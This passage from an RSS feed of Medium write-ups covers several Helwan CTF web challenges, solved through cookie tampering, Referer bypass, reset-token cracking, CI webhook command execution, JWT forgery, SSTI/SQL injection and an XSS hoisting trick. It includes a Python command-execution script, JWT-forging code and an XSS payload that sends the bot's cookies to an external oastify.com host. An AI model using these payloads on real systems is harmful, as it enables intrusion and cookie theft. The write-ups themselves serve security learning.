uploads as <em>pending approval</em>. I uploaded a file to see how the app handled processing and whether the approval workflow could be abused.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*TGZ1LhE6t4anOOxGYPMLUQ.png" /></figure><p>Got a 401 Unauthorized when trying to approve — only admins can approve uploads. Time to find or hijack an admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*c71VpeViVc3FWFe01n5F2Q.png" /></figure><p>Checked the cookies — there was a role=user attribute. Swapped it to role=admin (via DevTools ) and the app trusted it. Classic client-side authorization: cookie tampering -&gt; immediate admin access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*5EI56NzNaWHi9wsuKjRa8Q.png" /></figure><p>Second flag captured. Admin access granted via cookie tampering — moving on.</p><h4>👻 Challenge: Phantom Referer (200 pts)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*6dO__ju-rTO7qbZlJztJLA.png" /></figure><p>Another dull login page again exposing the username user — obvious start is password guessing, but something felt off. Time to probe deeper: check hidden fields, JS, cookies, headers, and any client-side logic that might leak or compute the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*fL6ZXLW1BDbtsgjUPXmDPw.png" /></figure><p>Brute-forced dirs and hit /admin — 403 <strong>Forbidden</strong>. Classic. Time to probe for alternative entry points: check allowed methods, auth headers, referer/origin tricks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*-9ez3v3Yj1iyvxfw-8VYug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*5p4t2CVPPsF9t2ukj-sPIQ.png" /></figure><p>Tried every bypass under the sun — allowed methods, cookies, weird headers — then hit gold: setting Referer: http://localhost in the request unlocked the <strong>/admin</strong> panel. Classic server-side referer check trusting client-controlled headers. Admin access obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*swoY15-IUf4cW2w-ePdZBQ.png" /></figure><p>Finally hit /admin/documents/doc4.txt and it spat the <strong>flag</strong>. With Referer-based ACL bypass → admin panel → direct file access, game over for that endpoint. Flag grabbed, moving to the next target.</p><h4>🕶️ Challenge: Midnight Token (200 pts)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jxxqHCChxE-_YdKqMpVdrA.png" /></figure><p>Another login page — but this one had a <strong>forgot password</strong> flow. That’s the new attack surface: time to enumerate the reset flow, inspect tokens, email callbacks, and any client-side logic that could be abused.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*1KQnU-u-GYQ3wmYyuYBBbw.png" /></figure><p>I tested the “forgot password” workflow and observed that, while the HTTP traffic showed no anomalies, a password-reset email was issued containing a <strong>token</strong>. I captured the token and proceeded to analyze its format, lifetime, and validation mechanism.</p><p>I tried decoding that token like it was a secret muffin recipe — Base64, ROT13, URL-encode, hex… nada. So I switched to the “smash it with a hammer” approach and treated it as a hash. Cracked it (<a href="https://hashes.com/en/decrypt/hash">Internet magic</a>) and out popped my email like a resurrected ghost. Token: 0 — Me: 1. 👻🔓</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*bJmlDIYEOebFguqSZjkcBw.png" /></figure><p>Found admin@securiumx.com in the source, and the cracked token let me hijack the reset flow — I reset the admin password and logged in as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*PzZLJlZxOIiNJA3TpDYKnA.png" /></figure><blockquote>HUNTER{4dm!n_t00k_0v3r_v!a_md5_t0k3n}</blockquote><h4>🛒 Challenge: Broken Shop (200 pts)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxjsuLLaCftgp71dFg8X2A.png" /></figure><p>Looks like a boring shop — perfect cover. I played customer for a minute, clicked around, and snooped on the HTTP traffic like a nosy shopper peeking at the receipt. Time to see what the backend forgot to hide. 🛍️🔎</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*8K9BWVDalUXA5VHfT3UxHA.png" /></figure><p>The POST /ci/webhook endpoint accepted JSON { &quot;token&quot;: &quot;...&quot;, &quot;cmd&quot;: &quot;...&quot; } and immediately returned a build_id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*W-vXylp6qqm9-UvamZ9pBQ.png" /></figure><p>Later, GET /ci/artifacts/&lt;build_id&gt; returned whatever the worker wrote to stdout — which meant the worker executed my cmd.</p><p>What I did :</p><ul><li>POST a payload containing cmd.</li><li>Read the returned build_id.</li><li>Poll /ci/artifacts/&lt;build_id&gt; until the artifact appears.</li><li>Decode output (I used base64 to keep things tidy).</li></ul><pre>#!/usr/bin/env python3<br>import requests, time, base64<br><br>BASE=&quot;http://64.227.184.4:6555&quot;<br>T=&quot;NC-1f69c7f1ba7d&quot;<br><br>def send(cmd):<br>  r=requests.post(f&quot;{BASE}/ci/webhook&quot;, json={&quot;token&quot;:T,&quot;cmd&quot;:cmd})<br>  return r.json().get(&quot;build_id&quot;)<br><br>def poll(bid,wait=0.5,timeout=20):<br>  for _ in range(int(timeout/wait)):<br>    r=requests.get(f&quot;{BASE}/ci/artifacts/{bid}&quot;)<br>    if r.status_code==200 and r.json().get(&quot;artifact&quot;):<br>      return r.json()[&quot;artifact&quot;]<br>    time.sleep(wait)<br>  raise SystemExit(&quot;no artifact&quot;)<br><br>bid=send(&#39;bash -lc &quot;cat /flag.txt | base64 -w0&quot;&#39;)<br>artifact=poll(bid)<br>print(base64.b64decode(artifact).decode(errors=&quot;replace&quot;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*c0R2zX8r2yhutZhpxlR_6Q.png" /></figure><h4><strong>🤓​ Challenge: Logic Login (300 pts)</strong></h4><p>The login logic was trivial to bypass — removing the password parameter from the request let me pass the auth check. I ended up authenticated as a normal user.</p><p>The source code included an interesting dev comment:</p><blockquote>“JWTs only, no forms allowed. You are not admin. Bring your own token? 🤔 (hint) Dev notes: We had to roll back SSO last minute. Secret rotation pending. Backups were moved to /static/backup.key.enc.”</blockquote><p>That screams misconfiguration. The mention of JWTs and an encrypted backup hints that the signing key or a previous secret might be recoverable. Time to check /static/backup.key.enc — it might contain an old JWT secret or a way to forge admin tokens.</p><p>The encrypted backup (backup.key.enc) contained an obfuscated string “dbgre:drterc:vsz~y:|rn” which, after applying a simple XOR with 0x17, yielded the application’s JWT secret.</p><pre>s = open(&#39;backup.key.enc&#39;,&#39;rb&#39;).read()<br>decoded = bytes([b ^ 0x17 for b in s])<br>print(decoded.decode())<br>#Output<br>#super-secret-admin-key</pre><p>Using this recovered secret I was able to generate a valid JSON Web Token and authenticate. This indicates insecure backup storage and inadequate secret management.</p><pre>import jwt, time<br>secret = &quot;super-secret-admin-key&quot;<br>header = {&quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot;}<br>payload = {<br>&quot;sub&quot;: &quot;admin&quot;,<br>&quot;role&quot;: &quot;admin&quot;,<br>&quot;iat&quot;: int(time.time()),<br>&quot;exp&quot;: int(time.time()) + 3600<br>}<br>token = jwt.encode(payload, secret, algorithm=&quot;HS256&quot;, headers=header)<br>print(token)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxHMS0PBi360844XmePSIQ.png" /></figure><blockquote><strong>HUNTER{</strong><a href="https://t.me/dm1in_c0nt4o1"><strong>@dm1in_c0nt4o1</strong></a><strong>}</strong></blockquote><h4><strong>🕶️ Challenge: NovaCorp Intelligence Portal (300 pts)</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_Ygk_ukDejL1GvWBdiXjQ.png" /></figure><p>The dashboard exposes three features: <strong>Report Builder (preview)</strong>, <strong>Save Filter</strong>, and <strong>Export CSV</strong>. Those export and preview flows are prime targets — look for injection in report templates, improper filter sanitization (leading to injection/logic flaws), and CSV export issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*49masH24ze9lYI0ZFocwsQ.png" /></figure><p>I injected a classic SSTI probe {{7*7}} into the Report Builder template field to see if the renderer evaluated it. If the page renders 49, we&#39;ve got server-side template injection — time to escalate to payloads that read files or execute commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*7iWr4lqcBIk1z8i0N-84Lg.png" /></figure><p>Boom — {{7*7}} returned 49. Confirmed SSTI. Next move: fingerprint the template engine, probe for exploitable objects (builtins/__mro__/__subclasses__), and escalate via engine-specific primitives toward RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*FsDUjCnnedvgWgJeAzW9Rg.png" /></figure><p>We escalated to root, ran ls and spotted app.py. Opened the source and started hunting for juicy items — hardcoded secrets, dangerous functions, odd endpoints, or logic flaws that could be abused.</p><pre>@app.post(&quot;/filters/save&quot;)<br>def save_filter():<br>    tpl = request.form.get(&quot;tpl&quot;, &quot;&quot;)<br>    title = request.form.get(&quot;title&quot;, &quot;untitled&quot;)<br>    ctx = {&quot;q&quot;: request.form.get(&quot;q&quot;,&quot;&quot;)}<br>    rendered = render_template_string(tpl, **ctx)<br>    with db() as conn, conn.cursor() as cur:<br>        cur.execute(<br>            &quot;INSERT INTO saved_filters(title, output) VALUES (%s,%s) RETURNING id&quot;,<br>            (title, rendered)<br>        )<br>        fid = cur.fetchone()[0]<br>    return jsonify({&quot;saved&quot;: True, &quot;filter_id&quot;: fid, &quot;output&quot;: rendered})</pre><p>Found an SQL injection in POST /filters/save. Exploited the parameter to extract the sus id from the database (union / blind techniques as needed). Got the target ID — next step: see what that sus row unlocks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*DlpH1Wxah1f71UxpSoRq9g.png" /></figure><p>Last web challenge: owned. All web flags captured, chains closed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bd3939a31b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Tob] WEB challenge — Helwan CTF]]></title>
            <link>https://0xsponge.medium.com/tob-web-challenge-helwan-ctf-2609d0359784?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/2609d0359784</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[writing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 19:16:54 GMT</pubDate>
            <atom:updated>2025-09-18T19:16:54.870Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Tob] WEB challenge — Helwan CTF</h3><p>Hi — I’m Adham (aka <strong>0xSponge</strong>). My team ( أدهم عايز يتجوز ) placed <strong>4th</strong> in the Helwan CTF; I solved <strong>three web challenges</strong> solo. This writeup covers the Last one, with clear recon, exploit POCs, and the final flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRxA5uclaiQTOQO54ZtQCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhw3ASfMBW4Ok3Dtn-bgag.png" /></figure><p>On loading the Tob challenge I observed two primary features: a place to compose notes and a separate action to submit those notes to an automated bot for review.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WE8t_-1ejlxGtdD3960YLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*7qPqitIMs84KtOLLgrDJ7A.png" /></figure><p>Now I’ll try a basic XSS payload to see where the input is reflected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*BYRly61OkxHEsmlSekD7sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*JhSw9BlLDcToSulnRf6IkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*GiyxDkndG7osBMBQR-OqKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*b8gnWP5CDfZ8UNRdyQcfCg.png" /></figure><p>In the page source I noticed &lt; and &gt; were being escaped to &amp;lt; and &amp;gt;. The payload is reflected in four places, and the most interesting reflection appears inside a &lt;script&gt; block.</p><pre>$content = str_replace(array(&#39;&lt;&#39;, &#39;&gt;&#39;), array(&#39;&amp;lt;&#39;, &#39;&amp;gt;&#39;), $content);<br>$title = str_replace(array(&#39;&lt;&#39;, &#39;&gt;&#39;), array(&#39;&amp;lt;&#39;, &#39;&amp;gt;&#39;), $title);<br>$category = str_replace(array(&#39;&lt;&#39;, &#39;&gt;&#39;), array(&#39;&amp;lt;&#39;, &#39;&amp;gt;&#39;), $category);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*VFgYX9RE1S_Cl9KyUms19Q.png" /></figure><p>I crafted another payload aimed at the &lt;script&gt; context and tested it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/134/1*hj1uCZK5119EkjbnvIegJA.png" /></figure><p>Although the payload looks fine, the alert never fired.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*zDRR-aDT0zgIvFiTFynVSA.png" /></figure><p>Hmm — something’s off. I’ll open the browser console to check for errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*lfNqDGbFccurrtYwHqeClg.png" /></figure><p>The console reports secure is not defined. That means the injected snippet secure.validate(&#39;remove&#39;, &#39;&#39;); alert(&#39;&#39;); throws before alert() can run.</p><p>After a lot of searching I found a blog post that describes this exact scenario.</p><p><a href="https://new-blog.ch4n3.kr/xss-exception-bypass-using-hoisting/">XSS Exception Bypass using Hoisting 🧙‍♂️</a></p><p>The blog explains <strong>hoisting</strong>, a JavaScript feature where function and variable declarations are moved to the top of their scope before code runs. Think of it like a backstage pass — you can access things before they’re officially declared. Normally, x.y() would throw a ReferenceError if x is undefined, which blocks execution.</p><p>The solution is to declare a secure function so it gets hoisted. This makes secure.validate() return undefined, which doesn’t matter — the key point is that our injected code executes successfully.</p><p>Next, I tested the payload:</p><pre>&#39;, alert()); <br>function secure() {}; <br>secure(&#39;</pre><p>to see if it executes and how the browser interprets it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*9uI7A_gkDXdpmW2Wr_Y0cg.png" /></figure><pre>&lt;script&gt;<br>secure.validate(&#39;remove&#39;, &#39;&#39;, alert());<br>function secure () {}; <br>secure(&#39;&#39;);<br>&lt;/script&gt;</pre><p>Now, I prepared a <strong>Burp Collaborator</strong> to capture the bot’s cookies With this payload.</p><pre>&#39;, fetch(&quot;http://eweo0cdnq0tc7j74xgqff2v9y04rsig7.oastify.com/?Flag=&quot;+document.cookie));<br>function secure () {}; <br>secure(&#39;</pre><p>Before sending the payload, I checked where the bot’s cookies are stored.</p><p>Inspecting the docker-compose.yml, I found that the bot’s cookies are stored at <a href="http://proxy./">http://proxy</a></p><pre>bot:<br>    build:<br>      context: bot<br>      args:<br>        - BROWSER=chromium<br>    restart: always<br>    environment:<br>      APPNAME: Admin<br>      APPURL: http://proxy/<br>      APPURLREGEX: &quot;^http(|s)://.*$$&quot;<br>      APPFLAG: CTF{Fake_Flag}<br>      APPLIMIT: 3<br>      APPLIMITTIME: 120<br>      USE_PROXY: 1<br>      DISPLAY: ${DISPLAY}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*-xd6dkQ-gtVgAsJLaRDEZA.png" /></figure><p>Now, Let’s send the payload to the bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*XfvmqeFI9O6HH0BI4ec-8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*kxZENVe3-afZUcVH2UoIdQ.png" /></figure><p>And just like that — the flag was successfully captured!</p><p>This CTF was an excellent learning experience. Between <em>Out Of Order</em>, <em>Revenge</em>, and <em>Tob</em>, I practiced SQL injection, XSS, and creative payload crafting, including hoisting tricks and payload delivery via a bot. Each challenge reinforced the importance of understanding both the application logic and the context in which user input is handled. Ultimately, the flags were captured, lessons were learned, and the experience strengthened my skills for future CTFs and real-world web security testing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2609d0359784" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Out Of Order —Revenge ] WEB challenge — Helwan CTF]]></title>
            <link>https://0xsponge.medium.com/out-of-order-revenge-web-challenge-helwan-ctf-fbd768c089ed?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbd768c089ed</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[university]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 17:05:33 GMT</pubDate>
            <atom:updated>2025-09-18T17:05:33.625Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Out Of Order —Revenge ] WEB challenge — Helwan CTF</h3><p>Hi — I’m Adham (aka <strong>0xSponge</strong>). My team ( أدهم عايز يتجوز ) placed <strong>4th</strong> in the Helwan CTF; I solved <strong>three web challenges</strong> solo. This writeup covers the first two, with clear recon, exploit POCs, and the final flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRxA5uclaiQTOQO54ZtQCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mgP25QQXSYudcdrVu2J8g.png" /></figure><p>The first challenge, <strong>Out Of Order</strong>, is a web app with login and signup functionality. While inspecting the source code I discovered that the username field is vulnerable to SQL injection — below I&#39;ll show the vulnerable code and the tests I ran.</p><pre>define(&#39;SAFE_MODE&#39;, false);<br><br>try {<br>      if (SAFE_MODE) {<br>        $stmt = db()-&gt;prepare(&#39;INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)&#39;);<br>        $stmt-&gt;execute([$username, $email, $hash]);<br>      } else {<br>        $sql = &quot;INSERT INTO users (username, email, password_hash) <br>                VALUES (&#39;$username&#39;, CAST(&#39;$email&#39; AS CHAR), &#39;$hash&#39;)&quot;;<br>        db()-&gt;exec($sql);<br>      }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*m8l6lyYzSdUltW_k5QfgOA.png" /></figure><p>I tried inserting a single quote (&#39;) to break the SQL query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*U2diIeXs9c26NTKr4GCfHA.png" /></figure><p>An error was returned, confirming the parameter is vulnerable — next I’ll show how to retrieve the flag.</p><p>I tested a bunch of payloads; the successful one was (&#39;|| any_query ||&#39;).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*y4fXz9xfA5I6WSsKdbeV5A.png" /></figure><p>Next, I inspected docker-compose.yml to locate the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*JhQ7h42fP0kU9y08nxYAIg.png" /></figure><p>The flag is mounted as ./flag.txt:/var/lib/mysql-files/flag.txt.</p><p>Now let’s retrieve the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Ij9ZK4u5Hg5WxVkx6KxZtg.png" /></figure><p>We got the flag — nice. Now onto <strong>Out Of Order Revenge</strong> and how I approached it.</p><p>Nothing major was different besides a stricter password policy. The authors had added it to detect cheating, and unfortunately they discovered that many participants had cheated.</p><p>In the end, both <em>Out Of Order</em> and <em>Revenge</em> fell, and with them the flags. It was a fun ride, a lot of trial and error, and a great reminder that sometimes the smallest details make the biggest difference. 4th place this time — but next time, aiming for the top!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbd768c089ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>